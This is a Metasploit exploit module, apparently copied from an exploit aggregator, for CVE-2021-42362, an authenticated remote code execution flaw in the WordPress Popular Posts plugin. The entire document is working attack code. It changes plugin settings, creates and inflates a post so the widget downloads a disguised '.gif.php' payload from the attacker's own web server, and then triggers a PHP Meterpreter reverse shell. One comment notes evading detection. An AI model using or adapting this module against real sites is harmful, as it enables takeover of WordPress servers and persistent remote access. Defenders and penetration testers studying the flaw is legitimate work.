Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT/MULTI/HTTP/WP_POPULAR_POSTS_RCE/
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Wordpress Popular Posts Authenticated RCE',
        'Description' => %q{
          This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080.
          The FQDN must also not resolve to a reserved address (192/172/127/10).  The server must also respond to a HEAD request
          for the payload, prior to getting a GET request.
          This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2.
          The exploit chain is rather complicated.  Authentication is required and 'gd' for PHP is required on the server.
          Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget.
          A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once
          the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded
          which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a
          double extension ('.gif.php') allowing for arbitrary PHP code to be executed.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Simone Cristofaro', # edb
          'Jerome Bruandet' # original analysis
        ],
        'References' => [
          [ 'EDB', '50129' ],
          [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ],
          [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ],
          [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ],
          [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ],
          [ 'CVE', '2021-42362' ]
        ],
        'Platform' => ['php'],
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Privileged' => false,
        'Arch' => ARCH_PHP,
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DisclosureDate' => '2021-06-11',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'php/meterpreter/reverse_tcp',
          'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger
        },
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options [
      OptString.new('USERNAME', [true, 'Username of the account', 'admin']),
      OptString.new('PASSWORD', [true, 'Password of the account', 'admin']),
      OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']),
      # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560
      OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']),
      # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584
      OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]),
    ]
  end

  def check
    return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online?

    checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3')
    if checkcode == CheckCode::Safe
      print_error('Popular Posts not a vulnerable version')
    end
    return checkcode
  end

  def trigger_payload(on_disk_payload_name)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'keep_cookies' => 'true'
    )
    # loop this 5 times just incase there is a time delay in writing the file by the server
    (1..5).each do |i|
      print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5")
      Rex.sleep(10)
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name),
        'keep_cookies' => 'true'
      )
    end
    if res && res.code == 404
      print_error('Failed to find payload, may not have uploaded correctly.')
    end
  end

  def on_request_uri(cli, request, payload_name, post_id)
    if request.method == 'HEAD'
      print_good('Responding to initial HEAD request (passed check 1)')
      # according to https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests we should have a valid Content-Length
      # however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes.
      # also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught
      return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s })
    end
    if request.method == 'GET'
      on_disk_payload_name = "#{post_id}_#{payload_name}"
      register_file_for_cleanup(on_disk_payload_name)
      print_good('Responding to GET request (passed check 2)')
      send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif')
      close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions
      Rex.sleep(2) # wait for WP to finish all the checks it needs
      trigger_payload(on_disk_payload_name)
    end
    print_status("Received unexpected #{request.method} request")
  end

  def check_gd_installed(cookie)
    vprint_status('Checking if gd is installed')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),
      'method' => 'GET',
      'cookie' => cookie,
      'keep_cookies' => 'true',
      'vars_get' => {
        'page' => 'wordpress-popular-posts',
        'tab' => 'debug'
      }
    )
    fail_with(Failure::Unreachable, 'Site not responding') unless res
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
    res.body.include? ' gd'
  end

  def get_wpp_admin_token(cookie)
    vprint_status('Retrieving wpp_admin token')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),
      'method' => 'GET',
      'cookie' => cookie,
      'keep_cookies' => 'true',
      'vars_get' => {
        'page' => 'wordpress-popular-posts',
        'tab' => 'tools'
      }
    )
    fail_with(Failure::Unreachable, 'Site not responding') unless res
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
    /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body
    Regexp.last_match(1)
  end

  def change_settings(cookie, token)
    vprint_status('Updating popular posts settings for images')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),
      'method' => 'POST',
      'cookie' => cookie,
      'keep_cookies' => 'true',
      'vars_get' => {
        'page' => 'wordpress-popular-posts',
        'tab' => 'debug'
      },
      'vars_post' => {
        'upload_thumb_src' => '',
        'thumb_source' => 'custom_field',
        'thumb_lazy_load' => 0,
        'thumb_field' => 'wpp_thumbnail',
        'thumb_field_resize' => 1,
        'section' => 'thumb',
        'wpp-admin-token' => token
      }
    )
    fail_with(Failure::Unreachable, 'Site not responding') unless res
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
    fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body
  end

  def clear_cache(cookie, token)
    vprint_status('Clearing image cache')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),
      'method' => 'POST',
      'cookie' => cookie,
      'keep_cookies' => 'true',
      'vars_get' => {
        'page' => 'wordpress-popular-posts',
        'tab' => 'debug'
      },
      'vars_post' => {
        'action' => 'wpp_clear_thumbnail',
        'wpp-admin-token' => token
      }
    )
    fail_with(Failure::Unreachable, 'Site not responding') unless res
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
  end

  def enable_custom_fields(cookie, custom_nonce, post)
    # this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it.
    res = send_request_cgi!(
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'),
      'cookie' => cookie,
      'keep_cookies' => 'true',
      'method' => 'POST',
      'vars_post' => {
        'toggle-custom-fields-nonce' => custom_nonce,
        '_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit",
        'action' => 'toggle-custom-fields'
      }
    )
    /name="_ajax_nonce-add-meta" value="([^"]*)/ =~ res.body
    Regexp.last_match(1)
  end

  def create_post(cookie)
    vprint_status('Creating new post')
    # get post ID and nonces
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'),
      'cookie' => cookie,
      'keep_cookies' => 'true'
    )
    fail_with(Failure::Unreachable, 'Site not responding') unless res
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
    /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"]*)/ =~ res.body
    /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?<wp_nonce>[^"]*)/ =~ res.body
    /},"post":{"id":(?<post_id>\d*)/ =~ res.body
    if ajax_nonce.nil?
      print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this.  See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.')
      /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body
      ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id)
    end
    unless ajax_nonce.nil?
      vprint_status("ajax nonce: #{ajax_nonce}")
    end
    unless wp_nonce.nil?
      vprint_status("wp nonce: #{wp_nonce}")
    end
    unless post_id.nil?
      vprint_status("Created Post: #{post_id}")
    end
    fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce && wp_nonce && post_id

    # publish new post
    vprint_status("Writing content to Post: #{post_id}")
    # this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'POST',
      'cookie' => cookie,
      'keep_cookies' => 'true',
      'ctype' => 'application/json',
      'accept' => 'application/json',
      'vars_get' => {
        '_locale' => 'user',
        'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id)
      },
      'data' => {
        'id' => post_id,
        'title' => Rex::Text.rand_text_alphanumeric(20..30),
        'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->",
        'status' => 'publish'
      }.to_json,
      'headers' => {
        'X-WP-Nonce' => wp_nonce,
        'X-HTTP-Method-Override' => 'PUT'
      }
    )

    fail_with(Failure::Unreachable, 'Site not responding') unless res
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
    fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"'
    return post_id, ajax_nonce, wp_nonce
  end

  def add_meta(cookie, post_id, ajax_nonce, payload_name)
    payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}"
    vprint_status("Adding malicious metadata for redirect to #{payload_url}")
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
      'method' => 'POST',
      'cookie' => cookie,
      'keep_cookies' => 'true',
      'vars_post' => {
        '_ajax_nonce' => 0,
        'action' => 'add-meta',
        'metakeyselect' => 'wpp_thumbnail',
        'metakeyinput' => '',
        'metavalue' => payload_url,
        '_ajax_nonce-add-meta' => ajax_nonce,
        'post_id' => post_id
      }
    )
    fail_with(Failure::Unreachable, 'Site not responding') unless res
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
    fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-"
  end

  def boost_post(cookie, post_id, wp_nonce, post_count)
    # redirect as needed
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'keep_cookies' => 'true',
      'cookie' => cookie,
      'vars_get' => { 'page_id' => post_id }
    )
    fail_with(Failure::Unreachable, 'Site not responding') unless res
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301
    print_status("Sending #{post_count} views to #{res.headers['Location']}")
    location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<take this value>/<and anything after>
    (1..post_count).each do |_c|
      res = send_request_cgi!(
        'uri' => "/#{location}",
        'cookie' => cookie,
        'keep_cookies' => 'true'
      )
      # just send away, who cares about the response
      fail_with(Failure::Unreachable, 'Site not responding') unless res
      fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
      res = send_request_cgi(
        # this URL varies from the POC on EDB, and is modeled after what the browser does
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'vars_get' => {
          'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts')
        },
        'keep_cookies' => 'true',
        'method' => 'POST',
        'cookie' => cookie,
        'vars_post' => {
          '_wpnonce' => wp_nonce,
          'wpp_id' => post_id,
          'sampling' => 0,
          'sampling_rate' => 100
        }
      )
      fail_with(Failure::Unreachable, 'Site not responding') unless res
      fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201
    end
    fail_with(Failure::Unreachable, 'Site not responding') unless res
  end

  def get_top_posts
    print_status('Determining post with most views')
    res = get_widget
    />(?<views>\d+) views</ =~ res.body
    views = views.to_i
    print_status("Top Views: #{views}")
    views += 5 # make us the top post
    unless datastore['VISTS'].nil?
      print_status("Overriding post count due to VISITS being set, from #{views} to #{datastore['VISITS']}")
      views = datastore['VISITS']
    end
    views
  end

  def get_widget
    # load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond
    # which then would kill the exploit, so in this case we just keep trying.
    (1..10).each do |_|
      @res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path),
        'keep_cookies' => 'true'
      )
      break unless @res.nil?
    end
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200
    /data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body
    # load the widget directly
    (1..10).each do |_|
      @res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id),
        'keep_cookies' => 'true',
        'vars_get' => {
          'is_single' => 0
        }
      )
      break unless @res.nil?
    end
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200
    @res
  end

  def exploit
    fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0'
    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])

    if cookie.nil?
      vprint_error('Invalid login, check credentials')
      return
    end

    payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php"
    vprint_status("Payload file name: #{payload_name}")

    fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie)
    post_count = get_top_posts

    # we dont need to pass the cookie anymore since its now saved into http client
    token = get_wpp_admin_token(cookie)
    vprint_status("wpp_admin_token: #{token}")
    change_settings(cookie, token)
    clear_cache(cookie, token)
    post_id, ajax_nonce, wp_nonce = create_post(cookie)
    print_status('Starting web server to handle request for image payload')
    start_service({
      'Uri' => {
        'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) },
        'Path' => "/#{payload_name}"
      }
    })

    add_meta(cookie, post_id, ajax_nonce, payload_name)
    boost_post(cookie, post_id, wp_nonce, post_count)
    print_status('Waiting 90sec for cache refresh by server')
    Rex.sleep(90)
    print_status('Attempting to force loading of shell by visiting to homepage and loading the widget')
    res = get_widget
    print_good('We made it to the top!') if res.body.include? payload_name
    # if res.body.include? datastore['SRVHOSTNAME']
    #  fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.")
    # end
    # at this point, we rely on our web server getting requests to make the rest happen
  end
end